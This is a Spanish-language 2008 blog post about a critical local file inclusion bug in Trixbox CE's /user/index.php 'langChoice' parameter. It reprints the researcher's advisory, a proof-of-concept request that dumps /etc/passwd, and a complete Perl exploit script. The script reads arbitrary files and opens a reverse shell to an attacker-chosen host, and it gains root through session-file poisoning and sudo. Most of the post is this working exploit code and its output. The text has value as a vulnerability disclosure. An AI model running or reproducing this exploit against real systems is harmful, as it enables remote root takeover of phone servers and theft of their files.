miércoles, 9 de julio de 2008

BUG grave en Trixbox

Han reportado un bug GRAVE en Trixbox. Este permitiría ejecutar código arbitrario y eventualmente obtener una consola con permisos de root.

El autor de este descubrimiento ha posteado el exploit (que brinda una shell con los permisos del usuario "asterisk") en milw0rm y SecurityFocus (BID=30135). Según su post es una lista, luego, se dió cuenta que se puede obtener acceso con permisos de root y los exploits deberían ser actualizados.

Se trata de una vulnerabilidad en la página 'user/index.php', el parámetro 'langChoice'. No se controla que este POST sea correcto y permite la inclusión de un archivo como respuesta.

Abajo se puede ver el post original del bug y el exploit actualizado.

ADVISORY:

Vulnerability Found: 7th July 2008
Vendor informed: 7th July 2008
Severity: Critical
BID: 30135
Successfully tested on: Trixbox CE 2.6.1 and below

Description:
A local file inclusion vulnerability affects Trixbox CE, an
Asterisk-based PBX Phone system. This issue is due to a failure of the
application to properly sanitize POST data assigned to a parameter of
the /user/index.php page.

An attacker may leverage this issue to read local files, execute PHP
scripts and eventually obtain a root shell.

Vulnerable server-side program: '/user/index.php'

Vulnerable parameter: 'langChoice'

Proof of concept:

COMPLETE HTTP REQUEST:

POST /user/index.php HTTP/1.1
Host: 192.168.1.107
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

langChoice=../../../../../etc/passwd

COMPLETE HTTP RESPONSE:

HTTP/1.1 200 OK
Date: Tue, 08 Jul 2008 13:25:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.2
Set-Cookie: PHPSESSID=98b589cad80822c098942d33a1558b9f; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

1f4a
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
[...]

Consequences:

A remote root shell can be obtained on the affected server.

Fix:

Fonality has stated that they have submitted a fix into SVN and it
will be part of the next update that will go out this week.

Credits:

Jean-Michel BESNARD of LEXSI Audit.

EXPLOIT
#!/usr/bin/perl -w

# Jean-Michel BESNARD / LEXSI Audit
# 2008-07-09
# This is an update of the previous exploit. We can now get a root
shell, thanks to sudo.
#
# perl trixbox_fi_v2.pl 192.168.1.212
# Please listen carefully as our menu option has changed
# Choose from the following options:
# 1> Remote TCP shell
# 2> Read local file
# 1
# Host and port the reverse shell should connect to ? (:):
192.168.1.132:4444
# Which uid would you like for your shell ? (uid=root will be OK on
most recent trixbox versions only): [root|asterisk]
# root
# Make sure you've opened a server socket on port 4444 at
192.168.1.132 (e.g, nc -l -p 4444)
# Press enter to continue...
# done...

# nc -l -v -p 4444
# listening on [any] 4444 ...
# connect to [192.168.1.132] from lexsi-abo-new.lexsi.com [192.168.1.212] 48397
# bash: no job control in this shell
# bash-3.1# id
# uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
# bash-3.1#


use strict;
use Switch;
use LWP::UserAgent;
use HTTP::Cookies;

usage() unless @ARGV;
my $url = "http://$ARGV[0]/user/index.php";
my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
$ua->cookie_jar($cookie_jar);

menu();

sub execScript{
my $scriptCode = shift;
post($scriptCode);
my $phpsessionid = extractPHPSID($cookie_jar->as_string);
post("langChoice=../../../../../../../../../../tmp/sess_$phpsessionid");
}

sub post{
my $postData = shift;
my $req = HTTP::Request->new(POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content($postData);
my $res = $ua->request($req);
my $content = $res->content;
return $content;
}

sub readFile{
my $file = shift;
my $content = post("langChoice=../../../../../../../../../..$file");
my @fileLines = split(/\n/,$content);
my $fileContent = "Content of $file: \n\n";
for(my $i=3;$i<@fileLines;$i++){
last if($fileLines[$i] =~ m/trixbox - User Mode/);
$fileContent = $fileContent . $fileLines[$i-3] . "\n";
}
return $fileContent;
}

sub tcp_reverse_shell{
my $rhost= shift;
my $rport = shift;
my $uid = shift;
my $rshell;
if($uid eq "asterisk"){
$rshell = "langChoice='\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM,
getprotobyname('tcp'));connect(S,
sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN,
\">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec({\"/bin/sh\"}
(\"JMB\", \"-i\"));'`;?>";

}else{
$rshell = "langChoice='\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM,
getprotobyname('tcp'));connect(S,
sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN,
\">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec(\"/usr/bin/sudo\",\"/bin/bash\",
(\"-i\"));'`;?>";
}
execScript($rshell);
}


sub extractPHPSID{
$_ = shift;
if(/PHPSESSID=(\w+)/){
return $1;
}
}

sub menu{
print <Please listen carefully as our menu option has changed
Choose from the following options:
1> Remote TCP shell
2> Read local file
EOF
my $option = ;
chop($option);
switch($option){
case 1 {
print "Host and port the reverse shell should connect to ? ";
print "(:): ";
my $hp=;
chop($hp);
print "Which uid would you like for your shell ? (uid=root will
be OK on most recent trixbox versions only): [root|asterisk]";
my $uid=;
chop($uid);
my($rhost,$rport) = split(/:/,$hp);
print "Make sure you've opened a server socket on port $rport at
$rhost (e.g, nc -l -p $rport)\n";
print "Press enter to continue...";
;
tcp_reverse_shell($rhost,$rport,$uid);
print "done...\n";
}
case 2 {
while(1){
print "Full path (e.g. /etc/passwd): ";
my $file = ;
chop($file);
print readFile($file) . "\n\n";
}
}
}
}

sub usage{
print "./trixbox_fi.pl \n";
exit 1;
}

No hay comentarios: